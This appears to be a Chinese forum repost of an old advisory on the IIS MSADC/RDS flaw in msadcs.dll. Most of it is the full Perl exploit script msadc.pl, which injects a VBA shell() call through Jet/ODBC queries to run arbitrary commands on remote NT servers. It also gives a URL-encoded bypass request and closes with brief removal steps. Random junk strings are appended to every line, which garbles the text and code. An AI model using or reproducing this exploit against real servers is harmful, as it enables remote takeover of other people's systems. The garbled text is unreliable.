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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) FUvZMA$  
UT==x<  
涉及程序: #N[nvIi}  
Microsoft NT server ZK{VQ~  
;W'y^jp]"  
描述: B~jl1g|  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 E`u=$~K  
a}hpcr({?  
详细: J+Q ;'J  
如果你没有时间读详细内容的话,就删除: 2/E3~X7  
c:\Program Files\Common Files\System\Msadc\msadcs.dll 5?kF'yksR  
有关的安全问题就没有了。 F1w~f <  
jiC;*]n  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 daGGgSbh  
C8-4 m68"  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 kNd[M =%  
关于利用ODBC远程漏洞的描述,请参看: a^,6[  
m9wV#Ldu  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm mI@E>VCV[  
st+X~;PX*  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 ) $#ov-]  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp ;jo,&C  
`:}GE@]  
这里不再论述。 |A 8xy#  
4F??9o8}  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: )l\BZndf  
H}dsd=yO  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset do+HPnfDzU  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! tceQn ^|<  
5m=3{lBi  
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#将下面这段保存为txt文件,然后: "perl -x 文件名" a4 O  
b_W0tiyv%  
#!perl vp[~%~1(  
# UqsVqi h(  
# MSADC/RDS 'usage' (aka exploit) script z X2BJ  
# O)Nj'Hcu  
# by rain.forest.puppy zX{ [Z  
# \2L%%M  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me V\r5  
# beta test and find errors! 5owUQg,W  
s@jzu  
use Socket; use Getopt::Std; Hhx<k{B@7  
getopts("e:vd:h:XR", \%args); PHyS^J`  
!D7/Ja  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; *h-_   
L/"u,~[  
if (!defined $args{h} && !defined $args{R}) { 8N'`kd~6[  
print qq~ q/6d^&  
Usage: msadc.pl -h <host> { -d <delay> -X -v } hE/gul?|_  
-h <host> = host you want to scan (ip or domain) >(<OhS(  
-d <seconds> = delay between calls, default 1 second B&0-~o3WP  
-X = dump Index Server path table, if available =L 7scv%i  
-v = verbose |GA4fFE=  
-e = external dictionary file for step 5 gX{V>T(<  
A%"mySW  
Or a -R will resume a command session 38>8{Ma  
f]h99T  
~; exit;} CTD{!I(  
I'`Q_5s5  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; .o]vjNrd/  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} *QG>U[  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} cW/RH.N  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); 71z$a  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} zEl@jK,{$  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } (=j]fnH?  
8;5 UO,`T  
if (!defined $args{R}){ $ret = &has_msadc; ullq}}  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0}  =SRp  
Vv B%,_\  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" fM]zD/ g  
. "cmd /c "; >dUnk)7  
$in=<STDIN>; chomp $in; |z<E%`u%  
$command="cmd /c " . $in ; _W@q%L>  
0mF3Vs`-Q  
if (defined $args{R}) {&load; exit;} IMmoq={ (z  
;4z6="<Y  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; _Su? VxU  
&try_btcustmr; XTG*56IzL  
zb OEF  
print "\nStep 2: Trying to make our own DSN..."; qq]ZkT}   
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; JY(_}AAu  
$*Njvr7  
print "\nStep 3: Trying known DSNs..."; &DYHkG  
&known_dsn; OHdC t  
J)6RXt*!  
print "\nStep 4: Trying known .mdbs..."; Ep|W>  
&known_mdb; aW$sd)  
a<kx95  
if (defined $args{e}){ .8<bz4  
print "\nStep 5: Trying dictionary of DSN names..."; V44IA[  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } w6F4o;<PR  
q=M!YWz  
print "Sorry Charley...maybe next time?\n"; S#/[>Cb  
exit; ^cz #PNB  
'gxSHqeI2  
##############################################################################  5%mc|  
 O3bo3Cm$  
sub sendraw { # ripped and modded from whisker u.ffZ]\7l  
sleep($delay); # it's a DoS on the server! At least on mine... X|{TwmHd  
my ($pstr)=@_; uCB7(<  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || s(w6Ldi  
die("Socket problems\n"); vj]-p=  
if(connect(S,pack "SnA4x8",2,80,$target)){ 1mz;4xb  
select(S); $|=1; JQP7>W  
print $pstr; my @in=<S>; +H,/W_/g  
select(STDOUT); close(S); fil'._  
return @in; Pn\ Lg8  
} else { die("Can't connect...\n"); }} +?5nkhH  
6+b!|`?l+  
############################################################################## y Rr,+>W  
Qr6[h!  
sub make_header { # make the HTTP request z4D[>2*  
my $msadc=<<EOT G1K5J`"*  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 Wsyq  
User-Agent: ACTIVEDATA x{`>Il  
Host: $ip bF;g.-.2  
Content-Length: $clen h$)+$^YI  
Connection: Keep-Alive ne4j_!V{Mf  
4eMNKIsvY$  
ADCClientVersion:01.06 9+)5#!0  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 &> tmzlww  
8  ;y N  
--!ADM!ROX!YOUR!WORLD! +Em+W#i%?  
Content-Type: application/x-varg vn}:$|r$J  
Content-Length: $reqlen l`G .lM(  
7E*d>:5I  
EOT ujGvrY j  
; $msadc=~s/\n/\r\n/g; 81u}J9z;  
return $msadc;} p^_2]%,QeM  
hg_@Ui@[z  
############################################################################## 9!6sf GZ  
;i\m:8!;  
sub make_req { # make the RDS request "q5Tw+KCfu  
my ($switch, $p1, $p2)=@_; WI/&r5rq   
my $req=""; my $t1, $t2, $query, $dsn; ?B3   
 i1v0J->  
if ($switch==1){ # this is the btcustmr.mdb query Nb~.6bsL  
$query="Select * from Customers where City=" . make_shell(); oswS<t{Z  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . I?}YS-2  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} 0"]N9N;/  
8XZS BR(Z  
elsif ($switch==2){ # this is general make table query PzbLbH8A  
$query="create table AZZ (B int, C varchar(10))"; *^e06xc:  
$dsn="$p1";} ^"WrE(3  
0Ah'G  
elsif ($switch==3){ # this is general exploit table query |dcRDOTe  
$query="select * from AZZ where C=" . make_shell(); &sleV5V  
$dsn="$p1";} ,_?P[~1  
th]1> .  
elsif ($switch==4){ # attempt to hork file info from index server ys`"-o[*  
$query="select path from scope()"; \ws<W 7  
$dsn="Provider=MSIDXS;";} zRSIJ!A~  
%g1:yx  
elsif ($switch==5){ # bad query 't'~p#$,F  
$query="select"; 4+qoq$F</  
$dsn="$p1";} >_ bH ,/D'  
3@P 2]Q~D  
$t1= make_unicode($query); xp<\7m_N  
$t2= make_unicode($dsn); CBz$N)f  
$req = "\x02\x00\x03\x00"; *Y8nea^$  
$req.= "\x08\x00" . pack ("S1", length($t1)); T|RW-i3  
$req.= "\x00\x00" . $t1 ; oKjQ? 4  
$req.= "\x08\x00" . pack ("S1", length($t2)); \6~(# y  
$req.= "\x00\x00" . $t2 ; @(Q 'J`  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; ;K]6/Wt  
return $req;} rvrv[^a(  
|zhVl  
############################################################################## w64/$  
YTP6m9hA+  
sub make_shell { # this makes the shell() statement &o@IMbJ8  
return "'|shell(\"$command\")|'";} :%-xiv  
*\ZK(/V  
############################################################################## xV@/z5Tq  
3.,O7 k7y  
sub make_unicode { # quick little function to convert to unicode S?TyC";!  
my ($in)=@_; my $out; (|H1zO  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } Qz6Ry\u  
return $out;} Ni "n_Yun  
Dg(882#_  
############################################################################## =w&JDj  
J;"66ue(d  
sub rdo_success { # checks for RDO return success (this is kludge) vZ3/t8$*  
my (@in) = @_; my $base=content_start(@in); yU'Fyul  
if($in[$base]=~/multipart\/mixed/){ Z<+Ipj&  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} fy&vo~4i;  
return 0;} O%feBe  
LA?h+)  
############################################################################## sswYwU  
Bs7/<$9K/  
sub make_dsn { # this makes a DSN for us mT  enzIp  
my @drives=("c","d","e","f"); =To}yJ#  
print "\nMaking DSN: "; 0G@sj7)]  
foreach $drive (@drives) { X 633.]+  
print "$drive: "; !##OQ  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . 7&-i :2  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" Ps=OL\i  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); B"sQ\gb%Q  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; 7\ELr 5  
return 0 if $2 eq "404"; # not found/doesn't exist DPIIE2X  
if($2 eq "200") { .[YM0dt  
foreach $line (@results) { .KH3.v/c|  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} P")duv  
} return 0;} c!#DD;<Q  
rfj>/?8!@  
############################################################################## i%RN0UO^  
gG5@ KD6k  
sub verify_exists { N0`v;4gF$]  
my ($page)=@_;  0Bbno9Yp  
my @results=sendraw("GET $page HTTP/1.0\n\n"); NJ" d`  
return $results[0];} PU| X+V>  
7ip$#pzo  
############################################################################## /*,hR>UG  
u!wR  
sub try_btcustmr { @nIoYT='  
my @drives=("c","d","e","f"); GZt+(q  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ~{- zj  
B[2 qI7D$  
foreach $dir (@dirs) { )q xZHV  
print "$dir -> "; # fun status so you can see progress cPQUR^!5  
foreach $drive (@drives) { _; 7{1n  
print "$drive: "; # ditto dw6U}  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; Hrz #So\#  
$reqlenlen=length( "$reqlen" ); zT _  
$clen= 206 + $reqlenlen + $reqlen; |/Q7 o1i  
/F/zMZGSA{  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); h?UUd\RU)  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} % Q| >t~  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} TCb 7-s  
 Z1@E  
############################################################################## .&|Ivz6  
Rwu y!F  
sub odbc_error { vR;?~^{*s  
my (@in)=@_; my $base; /3( a'o[  
my $base = content_start(@in); Atdr|2  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this I.V?O}   
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 2QU ZBrs s  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; f8Z[prfP  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; {\HEUIa]w  
return $in[$base+4].$in[$base+5].$in[$base+6];} }F v:g!  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; CC8M1iW3  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . H83Gx;  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} ? zFeP6C  
>%x N?%  
############################################################################## jY: )W*TXt  
1=R6||8ws  
sub verbose { |Z ), OW  
my ($in)=@_; *<.{sx^Gk  
return if !$verbose; }(*eRF'  
print STDOUT "\n$in\n";} +0{$J\s  
0[\^Y<ec  
############################################################################## 701mf1a  
y;'yob  
sub save { aicvu(%EE  
my ($p1, $p2, $p3, $p4)=@_; ]6:|-x:m  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; ](^$5Am  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; +JDQ`Qk  
close OUT;} G=1&:nW'  
O %x<  
############################################################################## @y"/hh_?  
eootH K  
sub load { q?&Ap*  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; E.ugr])  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); 6"OwrJB  
@p=<IN>; close(IN); eUY/H1  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); 1KHFzx,  
$target= inet_aton($ip) || die("inet_aton problems"); fN!ci']  
print "Resuming to $ip ..."; ,sa%u Fm  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; ||xiKg  
if($p[1]==1) { @pV~Q2%  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; E}YJGFB7"  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; _S$ SL%;\  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));  xJ&E2Bf  
if (rdo_success(@results)){print "Success!\n";} RWX?B  
else { print "failed\n"; verbose(odbc_error(@results));}} 3Ygt!  
elsif ($p[1]==3){ 4V6^@   
if(run_query("$p[3]")){ '<$!?="  
print "Success!\n";} else { print "failed\n"; }} hggP9I :s,  
elsif ($p[1]==4){ zp4aiMn1F  
if(run_query($drvst . "$p[3]")){ q=,  
print "Success!\n"; } else { print "failed\n"; }} ,$H[DX  
exit;} ;?q>F3 n  
.eNeq C  
############################################################################## pW y+oZ  
tz6N,4J?  
sub create_table { tPQjjoh  
my ($in)=@_; I`% ]1{  
$reqlen=length( make_req(2,$in,"") ) - 28; nq/SGo[c  
$reqlenlen=length( "$reqlen" ); SV?^i`  
$clen= 206 + $reqlenlen + $reqlen; 0=:]tSD\F  
my @results=sendraw(make_header() . make_req(2,$in,"")); =%i~HDiy  
return 1 if rdo_success(@results); uQ(C,f[6p  
my $temp= odbc_error(@results); verbose($temp); # $N)  
return 1 if $temp=~/Table 'AZZ' already exists/; uV|%idC  
return 0;} /QgU!:e  
1M={8}3  
############################################################################## qV7F=1k]  
Vf V|fuW  
sub known_dsn {  cFV)zFu  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go ;Xr|['\'  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", u&E$(  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", :j<ij]rsI  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); Ic<J]+Xq  
D#.N)@\  
foreach $dSn (@dsns) { |/YwMBi  
print "."; "p"M9P'  
next if (!is_access("DSN=$dSn")); !gyEw1Re7  
if(create_table("DSN=$dSn")){ ?=},%^  
print "$dSn successful\n"; ii)DOq#2  
if(run_query("DSN=$dSn")){ ?=FRn pU?  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { .Fl5b}C(  
print "Something's borked. Use verbose next time\n";}}} print "\n";} %v"qFYVX"  
Dt ~3Qd0  
############################################################################## rGqT[~{t  
]di^H>,xU  
sub is_access { 4WAs_~  
my ($in)=@_; ^*$lCUv8p  
$reqlen=length( make_req(5,$in,"") ) - 28; Fr|Ts>Kx  
$reqlenlen=length( "$reqlen" ); =>0 G  
$clen= 206 + $reqlenlen + $reqlen; W,D$=Bg  
my @results=sendraw(make_header() . make_req(5,$in,"")); #}lq2!f6  
my $temp= odbc_error(@results); lQ{o[axT  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); &tjv.t  
return 0;} 4b@ Awtk  
Qt~QJJN?oF  
############################################################################## tK0Ksnl^  
(rT1wup  
sub run_query { -#y^$$i0  
my ($in)=@_; gm1 7VrC  
$reqlen=length( make_req(3,$in,"") ) - 28; LJh^-FQ  
$reqlenlen=length( "$reqlen" ); Y+ Qm.  
$clen= 206 + $reqlenlen + $reqlen; 4k]DktY}.  
my @results=sendraw(make_header() . make_req(3,$in,"")); V."qxKsz  
return 1 if rdo_success(@results); qt.Y6s:r_  
my $temp= odbc_error(@results); verbose($temp); tsWzM9Yf  
return 0;} %"gV>E_u  
g.:b\JE`  
############################################################################## >39\u &)  
{0IC2jE  
sub known_mdb { :9.QhY)D  
my @drives=("c","d","e","f","g"); T!ik"YZ@i  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 66Tx>c"H  
my $dir, $drive, $mdb; qN@-H6D1=  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; V.?Oly  
BK[ YX)  
# this is sparse, because I don't know of many h4,S /n  
my @sysmdbs=( "\\catroot\\icatalog.mdb", pN-c9n4#j  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", b'mp$lt!  
"\\system32\\certmdb.mdb", 0XLoGQ=  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% <], ~V\m  
(\A~SKEX  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", E!6Nf[  
"\\cfusion\\cfapps\\forums\\forums_.mdb", .8~zgpK  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", %{j)w{ L J  
"\\cfusion\\cfapps\\security\\realm_.mdb", vbMt}bM(GD  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", +=JJ=F)  
"\\cfusion\\database\\cfexamples.mdb", f{j.jfl\x  
"\\cfusion\\database\\cfsnippets.mdb", --'!5)U  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", kfQi}D'a  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", IuOY.c2.u  
"\\cfusion\\brighttiger\\database\\cleam.mdb", Xt%>XP  
"\\cfusion\\database\\smpolicy.mdb", OLh QS_D  
"\\cfusion\\database\cypress.mdb", <`Q*I Y  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", >SSRwYIN  
"\\website\\cgi-win\\dbsample.mdb", -A3>+G3[  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", *0!IHr"fn  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" laX67Vjv  
); #these are just fo$A c  
foreach $drive (@drives) { p(`?y:.3  
foreach $dir (@dirs){ 1XD|H_JG<j  
foreach $mdb (@sysmdbs) { TxDzGC  
print "."; =3R5m>6!/  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ f!D~aJ  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; 'du{ky  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ WY`hNT6M  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; -'F? |  
} else { print "Something's borked. Use verbose next time\n"; }}}}} RLL2'8"A  
=c1t]%P,  
foreach $drive (@drives) { Vt;!FZ  
foreach $mdb (@mdbs) { N8K @ch3=P  
print "."; *E1v  
if(create_table($drv . $drive . $dir . $mdb)){ gsD0N^  
print "\n" . $drive . $dir . $mdb . " successful\n"; Lr;PESV  
if(run_query($drv . $drive . $dir . $mdb)){ O%R*1 P9  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; LI/;`Y=  
} else { print "Something's borked. Use verbose next time\n"; }}}} :f|X$> b  
} S-D=-{@  
M>kk"tyM  
############################################################################## p#6V|5~8  
MRZ/%OZ.  
sub hork_idx { n>["h2  
print "\nAttempting to dump Index Server tables...\n"; gyx4='Q  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; I,0Z* rw  
$reqlen=length( make_req(4,"","") ) - 28; o;\c$|TNU  
$reqlenlen=length( "$reqlen" ); \Tii S  
$clen= 206 + $reqlenlen + $reqlen; m=.}}DcSs  
my @results=sendraw2(make_header() . make_req(4,"","")); YnLwBJ2i  
if (rdo_success(@results)){ 6;^ e  
my $max=@results; my $c; my %d; Mq [|w2.  
for($c=19; $c<$max; $c++){ o 2Okc><z  
$results[$c]=~s/\x00//g; UC{Tmf  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; (RtjD`e}  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; z')zV oW,  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; R]8^ @i1  
$d{"$1$2"}="";} @Y8/#6KE  
foreach $c (keys %d){ print "$c\n"; } YR$ )yl  
} else {print "Index server doesn't seem to be installed.\n"; }} 28rC>*+z  
;?`l1:C5)  
############################################################################## lAcXi$pF  
5[{#/!LX)  
sub dsn_dict { 7=gv4arRwt  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); S7 _^E  
while(<IN>){ `4N{x.N  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; $*Z Zh  
next if (!is_access("DSN=$dSn")); AT6:&5_`  
if(create_table("DSN=$dSn")){ @uaf&my,P  
print "$dSn successful\n";  :Ky *AI  
if(run_query("DSN=$dSn")){ q%Fc?d9  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { !;1$1xWK  
print "Something's borked. Use verbose next time\n";}}} 3-T}8VsiP  
print "\n"; close(IN);} }CyS_Tc  
rW&# Xw/a  
############################################################################## :?}U Z#  
V&>\U?q:  
sub sendraw2 { # ripped and modded from whisker !^ /Mn  
sleep($delay); # it's a DoS on the server! At least on mine... %^C.e*  
my ($pstr)=@_; ^ew<|J2,B  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || nfV32D|3  
die("Socket problems\n"); O^AF+c\n  
if(connect(S,pack "SnA4x8",2,80,$target)){ EC6Q<&]Iw  
print "Connected. Getting data"; \f AL:mJ  
open(OUT,">raw.out"); my @in; k'd(H5A   
select(S); $|=1; print $pstr; O!c b-  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} RXj6L~vs5_  
close(OUT); select(STDOUT); close(S); return @in; R1%2]?  
} else { die("Can't connect...\n"); }} DrTo")T  
|=Mn~`9p  
############################################################################## ,z1fiq  
{D(_"  
sub content_start { # this will take in the server headers P=j89-e  
my (@in)=@_; my $c; {Va "o~io  
for ($c=1;$c<500;$c++) { J}035  
if($in[$c] =~/^\x0d\x0a/){ nnZ|oEF  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } ~ }<!ON;  
else { return $c+1; }}} 8>}^W  
return -1;} # it should never get here actually tv+H4/  
 ThLnp@  
############################################################################## o~*5FN}%+l  
j3W)5ZX  
sub funky { XU}|Ud562  
my (@in)=@_; my $error=odbc_error(@in); 2A+I8/zRG  
if($error=~/ADO could not find the specified provider/){ Z L3aO,G2  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; ~\ 9bh6%R  
exit;} r#K;@wu2  
if($error=~/A Handler is required/){ !*?Ss  
print "\nServer has custom handler filters (they most likely are patched)\n"; LZCziW  
exit;} ^}-(8~_en  
if($error=~/specified Handler has denied Access/){ f8Xe%"<  
print "\nServer has custom handler filters (they most likely are patched)\n"; l"\W]'T:r  
exit;}} rSYzrVc  
!zw)! rV=  
############################################################################## T4\F=iw4  
rsp?N{e  
sub has_msadc { ?Afx{H7  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); FZM9aA  
my $base=content_start(@results); H-Uy~Ry*T  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); 4s!rrDN  
return 0;} y: 0j$%^  
K#=)]qIk  
######################## {=AK  |  
!!=%ty  
C} #:<Jx  
解决方案: 2VOdI  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll *3hqz<p4:  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 vj I>TIy  
UW+|1Bj_:  
拿出来充数 哈哈
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